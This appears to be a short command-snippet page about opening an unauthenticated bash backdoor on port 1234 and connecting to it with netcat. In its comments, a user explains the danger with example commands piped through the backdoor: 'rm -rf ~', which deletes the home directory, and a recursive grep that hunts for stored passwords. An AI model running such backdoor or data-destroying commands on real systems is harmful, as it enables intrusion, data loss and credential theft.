Create a backdoor on a machine to allow remote connection to bash

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash.

What others think

Why was this reported as malicious? It does *exactly* what it says...

Comment by ozymandias 165 weeks and 4 days ago

This is malicious as it allows unprotected remote execution on the listening host.

if you were on his network, running

echo rm -rf ~ | nc 192.168.0.1 1234

There are a lot of bots that try to scan for open ports, and then figure out what they can do with them.

What's worse, is that some programs still store passwords as plain text. So, a command like

echo grep -iRe 'pass(wd)?'| nc 192.168.0.1 1234

could possibly tell the bot/intruder your password, which then gives them root access.
